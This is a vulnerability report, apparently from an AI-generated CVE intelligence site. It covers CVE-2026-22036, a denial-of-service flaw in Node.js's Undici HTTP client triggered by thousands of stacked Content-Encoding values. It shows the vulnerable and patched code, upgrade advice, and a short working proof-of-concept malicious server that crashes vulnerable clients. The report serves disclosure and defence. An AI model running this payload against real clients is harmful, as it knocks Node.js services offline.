CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22036

Suffocating Node.js: The Undici Decompression DoS (CVE-2026-22036)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·5 min read·71 visits

Executive Summary (TL;DR)

Undici didn't limit the number of 'Content-Encoding' layers in a response. An attacker can send 'gzip, gzip, gzip...' 2,000 times, causing the client to build 2,000 stream objects, leading to a crash.

Node.js's high-performance HTTP client, Undici, contains a critical oversight in how it handles stacked compression schemes. By responding with a maliciously crafted 'Content-Encoding' header, an attacker can force the client to allocate thousands of decompression streams instantly. This results in a resource exhaustion loop that spikes CPU usage and drains memory, effectively killing the Node.js process.

The Hook: Meet the New Boss

If you've been using Node.js recently, you've likely touched Undici without even knowing it. It's the engine under the hood of the global fetch() implementation introduced in Node 18. It was built for speed—stripping away the bloat of the legacy http module to give developers raw performance.

But here's the thing about performance-obsessed code: sometimes it assumes the other side of the connection is playing nice. Undici trusts the server to tell it how to decode the incoming data. If the server says, "Hey, this payload is gzipped," Undici spins up a zlib stream to handle it.

Now, ask yourself: What happens if the server is a sociopath? What if it says, "This data is gzipped... and then gzipped again... and again..." for about three thousand layers? Before CVE-2026-22036, Undici would look at that request, nod enthusiastically, and try to build a decompression pipeline that reaches the moon.

The Flaw: Infinite Matryoshka Dolls

The vulnerability lies in the DecompressHandler. The HTTP specification (RFC 7231) allows for multiple content encodings. This is useful if you want to compress a file and then encrypt it, or apply a legacy compression followed by a modern one. The header looks like this:

Content-Encoding: gzip, br

The receiving client is supposed to peel these layers back one by one. Undici implemented this by splitting the header string by commas and iterating over the result. For every token it found, it instantiated a new transform stream and piped them together.

The fatal flaw? No speed limit.

There was absolutely no check on how many encodings were listed. If a malicious server sent a header with 5,000 gzip tokens, Undici's loop would dutifully create 5,000 heavy zlib objects. This isn't just a logic error; it's an invitation for a resource exhaustion attack. It's like ordering a single coffee but specifying 10,000 pumps of vanilla syrup—the barista (your CPU) is going to have a breakdown trying to fulfill the order.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerable code in lib/interceptor/decompress.js was deceptively simple. It took the header, split it, and mapped it to streams.

// Vulnerable Implementation
#createDecompressionChain (encodings) {
  const parts = encodings.split(',') 
  // ⚠️ DANGER: No check on parts.length!
  const decompressors = parts.map(encoding => this.#getDecompressor(encoding))
  // ... piping logic ...
}

It’s clean code, but it’s naive. It assumes parts will be a reasonable number, like 1 or 2.

The fix, applied in commit b04e3cb, introduces a hard reality check. It aligns Undici with other hardened clients like curl by imposing a strict limit.

// Patched Implementation
#createDecompressionChain (encodings) {
  const parts = encodings.split(',')
 
  // The sanity check we were missing
  const maxContentEncodings = 5
  if (parts.length > maxContentEncodings) {
    throw new Error(`too many content-encodings: ${parts.length}`)
  }
  // ...
}

If you try to pass more than 5 layers now, Undici throws an error before allocating a single byte of memory for streams. Attack neutralized.

The Exploit: Death by a Thousand Gzips

Exploiting this is trivially easy if you control the server (or can perform a Man-in-the-Middle attack). You don't even need to send a massive body; the header processing alone is enough to degrade the target.

Here is a conceptual Proof of Concept (PoC) for a malicious Node.js server designed to kill a vulnerable Undici client:

const http = require('http');
 
const server = http.createServer((req, res) => {
  // Create a string of "gzip, " repeated 2000 times
  const abuse = Array(2000).fill('gzip').join(', ');
  
  res.writeHead(200, {
    'Content-Type': 'text/plain',
    'Content-Encoding': abuse // The payload
  });
  
  res.end('Goodbye memory.');
});
 
server.listen(1337);

When a vulnerable client calls fetch('http://malicious-server:1337'), it parses that header. The DecompressHandler immediately attempts to construct 2,000 stream instances.

In Node.js, streams are expensive. They allocate buffers and bind event listeners. Doing this thousands of times synchronously blocks the event loop. The CPU spikes to 100%, and the Garbage Collector goes into a panic spiral trying to manage the sudden allocation frenzy. For a single-threaded runtime like Node, this is game over.

The Fix: Stopping the Bleeding

This isn't a vulnerability you can easily "configure" away without touching the code, because the flaw is in the library's core logic. The only real path forward is upgrading.

If you use Undici directly: Update to version 6.23.0 or 7.18.0. These versions include the hard limit of 5 encodings.

If you use Node.js fetch: You are at the mercy of the Node.js release cycle. You need to update your Node.js runtime to a version that bundles the patched Undici. Check the release notes for your Node version to ensure it includes the relevant Undici security update.

Workaround (The Band-Aid): If you cannot update immediately and are sitting behind a reverse proxy (like Nginx or AWS WAF), you can try to inspect the Content-Encoding header of incoming responses from upstream services (if your Node app is acting as a proxy) or limit the header size. However, since this exploits the client (your app making outgoing requests), network-level mitigation is harder unless you proxy all your outgoing traffic through a smart gateway that sanitizes response headers.

Official Patches

Node.jsCommit limiting content-encoding depth

Fix Analysis (1)

Technical Appendix

CVSS Score
5.9/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.02%
Top 95% most exploited

Affected Systems

Node.js Applications using `fetch()`Applications using `undici` package < 6.23.0Applications using `undici` package >= 7.0.0 < 7.18.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
undici
Node.js
< 6.23.06.23.0
undici
Node.js
>= 7.0.0 < 7.18.07.18.0
AttributeDetail
CWE IDCWE-770
Attack VectorNetwork
CVSS5.9 (Medium)
ImpactDenial of Service
Exploit MaturityPoC Available
Fix ComplexityLow (Update)

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-770
Allocation of Resources Without Limits or Throttling

Allocation of Resources Without Limits or Throttling

Known Exploits & Detection

GitHub AdvisoryAdvisory containing technical description and regression test case

Vulnerability Timeline

Fix committed by Matteo Collina
2026-01-06
CVE Published / Patch Released
2026-01-14
NVD Analysis Updated
2026-01-22

References & Sources

  • [1]GHSA-g9mf-h72j-4rw9
  • [2]NVD Entry for CVE-2026-22036

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-J456-XH4H-CPF2
7.0

CVE-2026-109956: Path Traversal and Sandbox Bypass in NLTK WekaClassifier

CVE-2026-109956 (GHSA-j456-xh4h-cpf2) is a path traversal vulnerability and security sandbox bypass in the Python Natural Language Toolkit (NLTK) versions 3.10.3 and earlier. The WekaClassifier module fails to validate caller-controlled model file paths before passing them to the Weka Java Virtual Machine (JVM) via command-line arguments. When operating under the nltk.pathsec security sandbox, this omission permits attackers who control model path parameters to read, probe, or overwrite arbitrary files outside authorized NLTK data directories.

Alon Barad
Alon Barad
5 views•10 min read
•about 2 hours ago•CVE-2026-35002
9.8

CVE-2026-35002: Eval Injection and Arbitrary Code Execution in Agno Agent Platform

CVE-2026-35002 is an arbitrary code execution vulnerability in the Agno agent platform (formerly Phidata) affecting all versions prior to 2.3.24. The flaw resides in the model execution logic (libs/agno/agno/models/base.py) and tool serialization logic (libs/agno/agno/tools/function.py), where the application directly passes the field_type string parameter into Python's built-in eval() function to resolve string type names into Python data types. An attacker who can influence FunctionCall arguments via prompt injection or supply untrusted dictionary structures for deserialization can execute arbitrary Python expressions within the context of the host process.

Amit Schendel
Amit Schendel
3 views•9 min read
•3 days ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
10 views•10 min read
•3 days ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
9 views•9 min read
•3 days ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
13 views•10 min read
•3 days ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
11 views•12 min read